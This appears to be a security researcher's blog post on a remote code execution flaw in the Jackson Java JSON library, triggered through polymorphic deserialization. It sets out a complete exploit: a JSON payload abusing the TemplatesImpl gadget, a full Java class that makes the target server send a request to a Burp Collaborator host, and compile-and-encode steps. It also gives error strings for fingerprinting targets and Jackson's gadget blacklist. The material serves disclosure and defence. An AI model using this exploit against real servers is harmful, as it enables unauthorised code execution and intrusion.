Earlier this year, a vulnerability was discovered in the Jackson data-binding library, a library for Java that allows developers to easily serialize Java objects to JSON and vice versa, that allowed an attacker to exploit deserialization to achieve Remote Code Execution on the server. This vulnerability didn’t seem to get much attention, and even less documentation. Given that this is an easily exploited Remote Code Execution vulnerability with little documentation, I’m sharing my notes on it.
There are a couple of ways to use Jackson, the simplest, and likely most common, is to perform a binding to a single object, pulling the values from the JSON and setting the properties on the associated Java object. This is simple, straightforward, and likely not exploitable. Here’s a sample of what that type of document looks like:
{
"name" : "Bob", "age" : 13,
"other" : {
"type" : "student"
}
}
What we are interested in, is a bit different – in some cases1 you are create arbitrary objects, and you will see their class name in the JSON document. If you see this, it should raise an immediate red flag. Here’s a sample of what these look like:
{
"@class":"MyApp.Obj",
val:[
"java.lang.Long",
1
]
}
To determine if this really is Jackson that you are seeing, one technique is (if detailed error messages are available) to provide invalid input and look for references to either of these:
com.fasterxml.jackson.databind
org.codehaus.jackson.map
The ability to create arbitrary objects though, does come with some limitations: the most important of which is that Jackson requires a default constructor (no arguments), so some things that seem like obvious choices (i.e. java.lang.ProcessBuilder
) aren’t an option. There are some suggestions on techniques in the paper from Moritz Bechler, though the technique pushed in the paper is interesting (the focus is on loading remote objects from another server), it didn’t meet my needs. There are other, simple options available.
Helpfully, the project gave us a starting point to build an effective exploit in one of their unit tests:
{'id': 124,
'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
{
'transletBytecodes' : [ 'AAIAZQ==' ],
'transletName' : 'a.b',
'outputProperties' : { }
}
]
}
This code leverages a well-known ‘gadget’ to create an object that will accept a compile Java object (via transletBytecodes
) and execute it as soon as outputProperties
is accessed. This creates a very simple, straightforward technique to exploit this vulnerability.
We can supply a payload to this to prove that we have execution, and we are done.
In this case, the goal is to prove that we have execution, and the route I went is to have the server issue a GET
request to Burp Collaborator. This can be done easily with the following sample code:
import java.io.*;
import java.net.*;
public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
public Exploit() throws Exception {
StringBuilder result = new StringBuilder();
URL url = new URL("http://[your-url].burpcollaborator.net");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
while ((line = rd.readLine()) != null) {
result.append(line);
}
rd.close();
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler) {
}
}
This code can be compiled with the javac
compiler, and then the resulting .class
file should be Base64 encoded, and provided to the transletBytecodes
field in the JSON document. As soon as the document is processed, it will create the object, load the code, and execute it. You may still see errors from code failing after the code executes, such as from type-mismatches or the like.
This is just one technique to exploit this flaw, there are many others available. To mitigate the issue, at least in part, Jackson has been modified with a blacklist of types known to be useful gadgets for this type of attack:
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.xalan.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
java.util.logging.FileHandler
java.rmi.server.UnicastRemoteObject
org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor
org.springframework.beans.factory.config.PropertyPathFactoryBean
com.mchange.v2.c3p0.JndiRefForwardingDataSource
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
There are likely others that can be used in similar ways to gain code execution that haven’t become well-known yet, so this doesn’t eliminate the problem, it just makes it less likely.
To fully understand this vulnerability, there are a few things that you should read:
mapper.enableDefaultTyping
), if this hasn't been done, then the exploit here doesn't work, as you aren't able to create arbitrary objects. ↩